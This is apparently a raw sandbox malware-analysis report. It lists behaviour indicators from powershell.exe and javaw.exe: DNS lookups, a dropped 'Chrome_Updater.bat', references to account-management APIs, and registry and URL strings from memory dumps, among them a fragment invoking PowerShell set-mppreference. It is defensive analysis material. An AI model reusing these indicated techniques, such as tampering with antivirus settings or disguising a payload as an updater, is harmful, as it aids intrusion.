25d7f7994b84f6794eae156bdd7056748472b3fa3f2611f74d806ed84caae2c31d75e1d722d88bcab91b0a67fd03135f4ba74e58d0203010001a382018f3082018b300e0603551d0f0101ff040403020780301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e041604142b4eb0a3eedc4ec122deeaf891bb93e82198091430450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d353030343436" "pcbBinary": "29280000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIoIgYJKoZIhvcNAQcCoIIoEzCCKA8CAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLGKX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCD1Ic9VXSKRHe3vJHTviA7n2oanD+d84ekkYUUIWGAvN6CCDRowggZhMIIESaADAgECAhMzAAABJF" "cchString": "14134" "dwFlags": "1" "pbBinary": "3082282206092a864886f70d010702a08228133082280f020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d060960864801650304020105000420f521cf555d22911dedef2474ef880ee7da86a70fe77ce1e92461450858602f37a0820d1a3082066130820449a003020102021333000001245da29171e02095aa000000000124300d06092a864886f70d01010c05003053310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312430220603550403131b57696e646f77732050726f64756374696f6e205043412032303233301e170d3236303433303138333933345a170d3237303432393138333933345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f7773308201a2300d06092a864886f70d01010105000382018f003082018a0282018100911f348d62498ba470aa25f578b7331e206dffa20eadcb9d7e8311a7bc383360823b502374ceaf65a48f43fe0c2333e5b226c1071a03980907af6a10e7e19ae8317a17e7f59551c90ced2c2de50e4b4d8ec1ef5fbcc9a824d038f51d0a2fe5dbc8013f88d97645bc1517b8c51a5e57781171d61065feb86e517fb676188e92cf97338149f97e64d903c0429e6f1ae3a24bda3e772fb6f5e7f84c46feece6edecf00c132255c00709485085d2094c52fd2ec26b27fc6d41d1b6cb0674b7d5ab0d214e095f47e31fd7ff61453388588732fe72a4aa30c97b3a7313a4ffe1563121dcee69eb618246c1349b6a382e8f2e9a776b218747271de0e38909a858bdf96ecc8d9ea3ab1564259a265f27d639eff1f603bf0634cb916b5bc5fd3b998a3fdd39decec493d9fa88c378b085bfb92b7645c0d42d3e13d44c12fe1a54d91a1da843d45f20eefe6e2389b96fd25d7f7994b84f6794eae156bdd7056748472b3fa3f2611f74d806ed84caae2c31d75e1d722d88bcab91b0a67fd03135f4ba74e58d0203010001a382018f3082018b300e0603551d0f0101ff040403020780301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e041604142b4eb0a3eedc4ec122deeaf891bb93e82198091430450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d353030343436" "pcbBinary": "26280000" "pdwFlags": "01000000"}46:T11a4,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005364-38641-27-00463290 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005364-38641-31-00465450 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005364-38641-31-00465450 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005364-38641-32-00476E8A Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005364-38641-34-004667E0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005364-38641-34-004667E0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005364-38641-37-00464C91 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005364-38641-37-00464C91 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005364-38641-39-0047866D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005364-38641-42-004784D8 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005364-38641-42-004784D8 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005364-38641-48-004791AF Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005364-38641-48-004791AF Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005364-38641-49-00478CD3 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005364-38641-49-00478CD3 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005364-38641-51-00469CB9 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005364-38641-51-00469CB9 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005364-38641-59-00469AC7 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005364-38641-59-00469AC7 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005364-38641-63-00477400 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005364-38641-63-00477400 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005364-38641-69-0046A107 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005364-38641-69-0046A107 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005364-38641-70-0046A07A Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005364-38641-70-0046A07A Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005364-38641-72-0046A1CD Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005364-38641-72-0046A1CD Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005364-38641-77-004769AC Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005364-38641-77-004769AC Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005364-38641-83-0046A94F Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005364-38641-83-0046A94F Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005364-38641-87-0047779F Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005364-38641-87-0047779F Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005364-38641-92-00465700 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005364-38641-92-00465700 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005364-38641-93-004716F4 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005364-38641-93-004716F4 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005364-38641-96-00464EA0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005364-38641-96-00464EA0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005364-38641-99-00479447 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005364-38641-99-00479447 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005364-38641-100-00479332 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005364-38641-100-00479332 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005364-38641-101-00476DB7 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005364-38641-101-00476DB7 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005364-38641-104-00477E3D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005364-38641-104-00477E3D47:T5fa,"javaw.exe" called "getaddrinfo" with parameters {"pNodeName": "DESKTOP-FVVF82A" "pHints": "17e3e798" "ppResult": "PjK"} "javaw.exe" called "getaddrinfo" with parameters {"pNodeName": "checkip.amazonaws.com" "pHints": "17e3e2d8" "ppResult": "006f4b01a8fb8d17"} "javaw.exe" called "getaddrinfo" with parameters {"pNodeName": "tribot.co.uk" "pHints": "17e3e378" "ppResult": "b8704b0130688205"} "javaw.exe" called "getaddrinfo" with parameters {"pNodeName": "tribot.co.uk" "pHints": "17e3e138" "ppResult": "xoK"} "javaw.exe" called "getaddrinfo" with parameters {"pNodeName": "tribot.co.uk" "pHints": "17e3e138" "ppResult": "PoK"} "javaw.exe" called "getaddrinfo" with parameters {"pNodeName": "tribot.co.uk" "pHints": "17e3e138" "ppResult": "b8704b01e4fac215"} "javaw.exe" called "getaddrinfo" with parameters {"pNodeName": "tribot.co.uk" "pHints": "17e3e138" "ppResult": "`nK"} "javaw.exe" called "getaddrinfo" with parameters {"pNodeName": "github.com" "pHints": "17e3e1d8" "ppResult": "PoK"} "javaw.exe" called "getaddrinfo" with parameters {"pNodeName": "github.com" "pHints": "17e3e1d8" "ppResult": "hpK"} "javaw.exe" called "getaddrinfo" with parameters {"pNodeName": "github.com" "pHints": "17e3e1d8" "ppResult": "006f4b01a6aa5076"} "javaw.exe" called "getaddrinfo" with parameters {"pNodeName": "github.com" "pHints": "17e3e1d8" "ppResult": "18704b01a6aa5076"} "javaw.exe" called "getaddrinfo" with parameters {"pNodeName": "github.com" "pHints": "17e3e1d8" "ppResult": "886e4b01a6aa5076"}48:T4a9,Antivirus vendors marked dropped file "Chrome_Updater.bat" as clean (type is "DOS batch file ASCII text") Antivirus vendors marked dropped file "__PSScriptPolicyTest_oyv1c3o5.q0g.ps1" as clean (type is "ASCII text with no line terminators") Antivirus vendors marked dropped file "__PSScriptPolicyTest_lvfw55w0.f10.ps1" as clean (type is "ASCII text with no line terminators") Antivirus vendors marked dropped file "__PSScriptPolicyTest_5matd1v2.uxq.ps1" as clean (type is "ASCII text with no line terminators") Antivirus vendors marked dropped file "__PSScriptPolicyTest_sqi1x3is.cnk.ps1" as clean (type is "ASCII text with no line terminators") Antivirus vendors marked dropped file "__PSScriptPolicyTest_p4cuwkxr.4px.ps1" as clean (type is "ASCII text with no line terminators") Antivirus vendors marked dropped file "__PSScriptPolicyTest_ykwp1s5p.jqm.ps1" as clean (type is "ASCII text with no line terminators") Antivirus vendors marked dropped file "__PSScriptPolicyTest_xr3vh442.njh.ps1" as clean (type is "ASCII text with no line terminators") Antivirus vendors marked dropped file "__PSScriptPolicyTest_q10mdvzu.g4t.ps1" as clean (type is "ASCII text with no line terminators")49:T16a2,"Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005364.00000000.156639.00461000.00000020.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00005364.00000000.156639.00461000.00000020.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005400.00000000.156962.00430000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005400.00000000.156962.00430000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005400.00000001.157945.00430000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005400.00000001.157945.00430000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00005400.00000001.157945.00691000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00005400.00000001.157945.00691000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00005400.00000001.157945.00691000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00005400.00000001.157945.00691000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00005400.00000001.157945.00691000.00000020.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00005400.00000001.157945.00691000.00000020.mdmp "Read?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005400.00000001.157945.041F0000.00000004.mdmp "Read3HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00005400.00000001.157945.041F0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00005400.00000001.157945.081FC000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{E7D35CFA-348B-485E-B524-252725D697CA}" in Source: 00000000-00005400.00000001.157945.08212000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{9F6C78EF-FCE5-42FA-ABEA-3E7DF91921DC}" in Source: 00000000-00005400.00000001.157945.08212000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006292.00000000.161899.02FB0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006292.00000000.161899.077C2000.00000004.mdmp "Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.80.1!7" in Source: 00000000-00008624.00000000.159630.02FD0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00008624.00000001.160503.02FD0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00008624.00000001.160503.02FD0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00008624.00000001.160503.02FD0000.00000004.mdmp "Read?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00008624.00000001.160503.04CE0000.00000004.mdmp "Read3HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00008624.00000001.160503.04CE0000.00000004.mdmp "AL_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00008624.00000001.160503.07892000.00000004.mdmp "ead3HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00008624.00000001.160503.07892000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00009176.00000000.158398.078C2000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00009176.00000000.158398.078C2000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00009176.00000000.158398.078C2000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00009176.00000001.159302.030B5000.00000004.mdmp "Read?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00009176.00000001.159302.04B00000.00000004.mdmp "Read3HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00009176.00000001.159302.04B00000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00009176.00000001.159302.078C2000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00009176.00000001.159302.078C2000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}" in Source: 00000000-00009176.00000001.159302.084B9000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{7C857801-7381-11CF-884D-00AA004B2E24}" in Source: 00000000-00009176.00000001.159302.084B9000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{E7D35CFA-348B-485E-B524-252725D697CA}" in Source: 00000000-00009176.00000001.159302.084B9000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}" in Source: 00000000-00009176.00000001.159302.084B9000.00000004.mdmp4a:T8a7,The input sample is signed with a certificate issued by "CN=Amazon RSA 2048 S19, O=Amazon, C=US" (SHA1: BA:5F:F6:C8:3F:51:38:EF:1E:90:35:87:F4:E4:B4:98:CE:9C:94:A9; see report for more information) The input sample is signed with a certificate issued by "CN=Amazon Root CA 1, O=Amazon, C=US" (SHA1: E1:45:4E:1D:DD:77:00:E4:B3:76:82:38:AC:C5:02:FF:28:53:46:AC; see report for more information) The input sample is signed with a certificate issued by "CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 06:B2:59:27:C4:2A:72:16:31:C1:EF:D9:43:1E:64:8F:A6:2E:1E:39; see report for more information) The input sample is signed with a certificate issued by "CN=Sectigo Public Server Authentication CA DV E36, O=Sectigo Limited, C=GB" (SHA1: E6:52:C8:BD:1C:AF:D0:4A:44:23:9F:A8:DA:B0:C5:9D:EA:CB:79:EE; see report for more information) The input sample is signed with a certificate issued by "CN=Sectigo Public Server Authentication Root E46, O=Sectigo Limited, C=GB" (SHA1: 56:63:48:E6:56:E1:FA:6C:4E:2E:E6:72:59:16:E8:F4:E3:73:8A:07; see report for more information) The input sample is signed with a certificate issued by "CN=USERTrust ECC Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US" (SHA1: 3F:96:99:89:F5:31:0E:9C:05:0D:FF:D7:AB:C1:55:30:E3:C1:3A:A0; see report for more information) The input sample is signed with a certificate issued by "CN=YE2, O=Let's Encrypt, C=US" (SHA1: 0C:37:42:01:13:56:DE:A8:80:2A:37:6F:E8:BF:0C:C3:0D:91:DA:59; see report for more information) The input sample is signed with a certificate issued by "CN=Root YE, O=ISRG, C=US" (SHA1: F8:15:8C:A8:A3:A7:C5:DB:D7:84:22:18:F5:D9:49:CE:C8:3A:CD:BA; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X2, O=Internet Security Research Group, C=US" (SHA1: F3:76:20:FC:4B:1C:DD:D2:A3:D7:4B:1D:5E:8D:B4:2E:24:4C:A0:06; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X1, O=Internet Security Research Group, C=US" (SHA1: 3C:34:E3:56:C7:FC:17:F5:AC:F0:48:24:BC:58:7C:6C:62:39:51:A2; see report for more information)4b:T460,Found reference to API "NetUserModalsGet" (Indicator: "NetUserModalsGet"; Source: "00000000-00005364.00000000.156639.0048A000.00000002.mdmp") Found reference to API "NetUserModalsSet" (Indicator: "NetUserModalsSet"; Source: "00000000-00005364.00000000.156639.0048A000.00000002.mdmp") Found reference to API "NetGroupGetInfo" (Indicator: "NetGroupGetInfo"; Source: "00000000-00005364.00000000.156639.0048A000.00000002.mdmp") Found reference to API "NetGroupSetInfo" (Indicator: "NetGroupSetInfo"; Source: "00000000-00005364.00000000.156639.0048A000.00000002.mdmp") Found reference to API "NetUserSetInfo" (Indicator: "NetUserSetInfo"; Source: "00000000-00005364.00000000.156639.0048A000.00000002.mdmp") Found reference to API "NetUserGetGroups" (Indicator: "NetUserGetGroups"; Source: "00000000-00005364.00000000.156639.0048A000.00000002.mdmp") Found reference to API "NetUserEnum" (Indicator: "NetUserEnum"; Source: "00000000-00005364.00000000.156639.0048A000.00000002.mdmp") Found reference to API "NetUserGetInfo" (Indicator: "NetUserGetInfo"; Source: "00000000-00005364.00000000.156639.0048A000.00000002.mdmp")4c:T467,"2.5.29.37" "2.5.29.35" "192.168.0.2" Potential IP "3.0.0.0" found in string "ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.ConsoleHost.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "2.5.29.37" found in string "%2.5.29.37" "2.5.29.19" "2.5.29.31" "2.5.29.15" "2.5.29.14" "2.5.29.32" Potential IP "2.5.29.35" found in string "#2.5.29.35" "2.5.29.17" "2.5.4.3" "2.5.29.1" "2.5.4.8" "2.5.29.10" "2.5.4.6" "2.5.4.7" "2.5.4.5" "2.5.4.10" "2.5.4.11" "2.5.29.16" Potential IP "4.0.0.0" found in string "ystem.Data,4.0.0.0,,b77a5c561934e089" Potential IP "1.0.0.0" found in string "ft.Management.Infrastructure,1.0.0.0,,31bf3856ad364e35" Potential IP "1.0.0.0" found in string ".Management.Infrastructure,1.0.0.0,,31bf3856ad364e35" Potential IP "4.0.0.0" found in string "4.0.0.0, Cul" Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.Commands.Management.resources,3.0.0.0,en-US,31bf3856ad364e35" "1.10.3.6" Potential IP "10.0.0.0" found in string "ppV.AppvClientComConsumer,10.0.0.0,,31bf3856ad364e35"4d:T11b25,Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0nbj'v(zik@u![j73gz;" - Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcpath=c:\programdata\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;c:\users\hapubws\appdata\roaming\nvm;%nvm_symlink%;c:\windows\system32\openssh\;c:\users\hapubws\appdata\local\programs\python\python311\scripts\;c:\users\hapubws\appdata\local\programs\python\python311\;c:\users\hapubws\appdata\local\microsoft\windowsapps;c:\program" - Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;1.3.6.1.5.5.7.3.3windir=c:\windowshomepath=\users\hapubwsnumber_of_processors=8processor_revision=4f001.3.6.1.5.5.7.3.8processor_level=61.3.6.1.5.5.7.3.8public=c:\users\public1.3.6.1.4.1.311.10.3.6sessionname=consolesystemroot=c:\windowsusername=hapubwsp<" - Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm" - Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?secom" - Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00005400.00000000.156962.028A0000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00005400.00000000.156962.06F92000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00005400.00000000.156962.06F92000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00005400.00000000.156962.06F92000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00005400.00000000.156962.06FA2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00005400.00000000.156962.06FA2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00005400.00000000.156962.06FA2000.00000004.mdmp") Found URL "http://www.microsoft.com0h3y0w'q<@2/l:p" - Source: "00000000-00005400.00000000.156962.06FA2000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526726'," - Source: "00000000-00005400.00000000.156962.06FA2000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526920')]" - Source: "00000000-00005400.00000000.156962.06FA2000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526919" - Source: "00000000-00005400.00000000.156962.06FA2000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=623621" - Source: "00000000-00005400.00000000.156962.06FD8000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=623636" - Source: "00000000-00005400.00000000.156962.06FD8000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0k26kvj>" - Source: "00000000-00005400.00000000.156962.06FE2000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>powershell.exe-noprofile-commandset-mppreference" - Source: "00000000-00005400.00000000.156962.06FE2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00005400.00000000.156962.06FE2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00005400.00000000.156962.06FE2000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00005400.00000001.157945.00430000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00005400.00000001.157945.00430000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00005400.00000001.157945.00430000.00000004.mdmp") Found URL 